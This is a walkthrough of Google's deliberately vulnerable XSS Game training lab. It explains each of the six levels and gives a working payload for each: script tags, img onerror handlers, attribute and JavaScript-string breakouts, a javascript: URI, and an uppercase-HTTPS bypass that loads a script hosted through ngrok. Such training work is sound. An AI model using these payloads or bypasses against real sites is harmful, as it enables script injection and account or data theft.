XSS, DOM Manipulation, Input Reflection β€” A complete step-by-step walkthrough of Google's XSS Game demonstrating real-world cross-site scripting patterns, payload reasoning, and exploitation across all six levels.

Lab Link: https://xss-game.appspot.com/ Platform: Google XSS Game Vulnerability Class: Cross-Site Scripting (XSS) Free Article Link

βœ… TL;DR

  • XSS is context-dependent, not payload-dependent
  • innerHTML and jQuery.html() are dangerous execution sinks
  • Filters fail β€” logic flaws persist
  • URL fragments and dynamic script loading are high-risk
  • Real exploitation requires reading source, not guessing payloads

πŸ”° Introduction

Cross-Site Scripting (XSS) vulnerabilities remain one of the most commonly exploited weaknesses in modern web applications. Improper handling of user-controlled input allows attackers to execute arbitrary JavaScript in a victim's browser, potentially leading to session hijacking, data theft, or account compromise.

The Google XSS Game is a deliberately vulnerable training platform designed to teach XSS exploitation from first principles. The lab progresses through six levels, each demonstrating a different real-world XSS pattern.

This article documents a complete step-by-step Proof of Concept (PoC) for all six levels, with screenshots mapped exactly to each step and payload reasoning explained throughout πŸ§ͺβš”οΈ

πŸ§ͺ Lab Description

Warning: You are entering the XSS game area Welcome, recruit!

Cross-site scripting (XSS) bugs are among the most common and dangerous web vulnerabilities. These nasty buggers can allow attackers to steal or modify user data in applications.

Google treats XSS very seriously and has historically paid bounties of up to $7,500 for dangerous XSS bugs.

There will be cake at the end 🍰

None

🧩 Level 1 β€” Hello, World of XSS

Link: https://xss-game.appspot.com/level1 Level: 1/6 Vulnerability Type: Reflected XSS

This level demonstrates reflected XSS where user input is directly embedded into the response without proper escaping.

None

πŸ”Ž Reflection Check

Input:

Hii

Response:

Sorry, no results were found for Hii. Try again.

URL:

https://xss-game.appspot.com/level1/frame?query=Hii

The input is reflected unescaped β€” a clear reflected XSS indicator.

None

πŸ§ͺ HTML Injection Test

Payload:

<h1>Hiii</h1>

The HTML renders successfully, confirming lack of sanitization.

None

πŸ’₯ Final Payload (Level 1)

<script>alert("Aditya Bhatt")</script>

JavaScript executes successfully.

None

🧩 Level 2 β€” Persistence is Key

Link: https://xss-game.appspot.com/level2 Level: 2/6 Vulnerability Type: Stored XSS (Client-Side Storage)

πŸ§ͺ Initial Payload Attempts

Payloads tested:

test
<script>alert("Aditya Bhatt")</script>
  • test message is posted
  • <script> payload is completely redacted
  • No observable changes in the Network tab

This suggests tag-based filtering, not contextual sanitization.

None

πŸ”Ž JavaScript Source Code Review

Inspector β†’ Debugger β†’ Sources β†’ level2/frame

<!doctype html>
<html>
  <head>
    <script src="/static/game-frame.js"></script>
    <link rel="stylesheet" href="/static/game-frame-styles.css" />
    <script src="/static/post-store.js"></script>
  
    <script>
      var defaultMessage = "Welcome!<br><br>This is your <i>personal</i>"
        + " stream. You can post anything you want here, especially "
        + "<span style='color: #f00ba7'>madness</span>.";
      var DB = new PostDB(defaultMessage);
      function displayPosts() {
        var containerEl = document.getElementById("post-container");
        containerEl.innerHTML = "";
        var posts = DB.getPosts();
        for (var i=0; i<posts.length; i++) {
          var html = "<blockquote>" + posts[i].message + "</blockquote>";
          containerEl.innerHTML += html;
        }
      }
None

User-controlled input is rendered via innerHTML. Script tags are filtered, but event handlers are not πŸ—Ώ

πŸ’₯ Final Payload (Level 2)

<img src=x onerror=alert()>

The onerror handler executes β€” Level 2 solved.

None

🧩 Level 3 β€” That Sinking Feeling…

Link: https://xss-game.appspot.com/level3 Level: 3/6 Vulnerability Type: DOM-Based XSS

None

πŸ”Ž Parameter Analysis

URL fragment:

https://xss-game.appspot.com/level3/frame#1

Valid values: 1, 2, 3 Any other input results in Image NaN.

None

πŸ” Source Code Review

function chooseTab(num) {
  var html = "Image " + parseInt(num) + "<br>";
  html += "<img src='/static/level3/cloud" + num + ".jpg' />";
  $('#tabContent').html(html);
}

The num parameter is concatenated directly into HTML and rendered using jQuery.html() β€” a DOM XSS sink.

None

πŸ§ͺ Context Break

Payload:

'

Malformed output:

<img src="/static/cloud/level3/cloud" .jpg'="">
None

πŸ’₯ Final Payload (Level 3)

' onerror=alert() '

The malformed image triggers JavaScript execution.

None

🧩 Level 4 β€” Context Matters

Link: https://xss-game.appspot.com/level4 Level: 4/6 Vulnerability Type: JavaScript Context Injection

None

πŸ”Ž Response Analysis (Burp)

<img src="/static/loading.gif" onload="startTimer('test');" />
<div id="message">Your timer will execute in test seconds.</div>

User input is injected inside a JavaScript string context.

None

πŸ§ͺ Failed Payload

<script>alert(1)</script>

Escaped safely.

None

πŸ’₯ Final Payload (Level 4)

'); alert('1

Breaks out of the string and executes JavaScript.

None

🧩 Level 5 β€” Breaking Protocol

Link: https://xss-game.appspot.com/level5 Level: 5/6 Vulnerability Type: JavaScript URI Injection

None

πŸ”Ž Signup Flow & Reflection

https://xss-game.appspot.com/level5/frame/signup?next=hii

Response:

<a href="hii">Next >></a>
None

πŸ§ͺ Filter Bypass Attempt

hiii" attrib="Neww

Filtered, but reflection confirmed.

None

πŸ’₯ Final Payload (Level 5)

javascript:alert()

Executes on click.

None

πŸ” Extra Observation

Open redirect confirmed:

https://xss-game.appspot.com/level5/frame/signup?next=https://adityabhatt3010.netlify.app/
None
None

🧩 Level 6 β€” Follow the πŸ‡

Link: https://xss-game.appspot.com/level6 Level: 6/6 Vulnerability Type: Dynamic Script Injection

None

πŸ”Ž Source Code Review

function includeGadget(url) {
  if (url.match(/^https?:\/\//)) return;
  var s = document.createElement('script');
  s.src = url;
  document.head.appendChild(s);
}

Anything after # is dynamically loaded.

None

πŸ§ͺ Hash Injection

#hii

Loads gadget.

None

πŸ§ͺ Malicious Script Setup

echo "alert()" > adi.js
python3 -m http.server 80
ngrok http 80
None

πŸ’₯ Final Payload (Level 6)

#HTTPS://a45cc0a21617.ngrok-free.app/adi.js

Uppercase HTTPS bypasses the filter.

None
None

🏁 Conclusion

The Google XSS Game mirrors real-world XSS mistakes still present in production systems. Each level reinforces a critical lesson:

Escaping input is meaningless without understanding execution context.

If you can reason through these six levels, you're already thinking like an attacker β€” and that's exactly how strong defenders are built πŸ”βš”οΈ

Happy hacking.

~ Aditya Bhatt

⭐ Follow Me & Connect

πŸ”— GitHub: https://github.com/AdityaBhatt3010 πŸ’Ό LinkedIn: https://www.linkedin.com/in/adityabhatt3010/ ✍️ Medium: https://medium.com/@adityabhatt3010 πŸ‘¨β€πŸ’»πŸ‘©β€πŸ’» GitHub PoC Repository: https://github.com/AdityaBhatt3010/Google-XSS-Game-Walkthrough/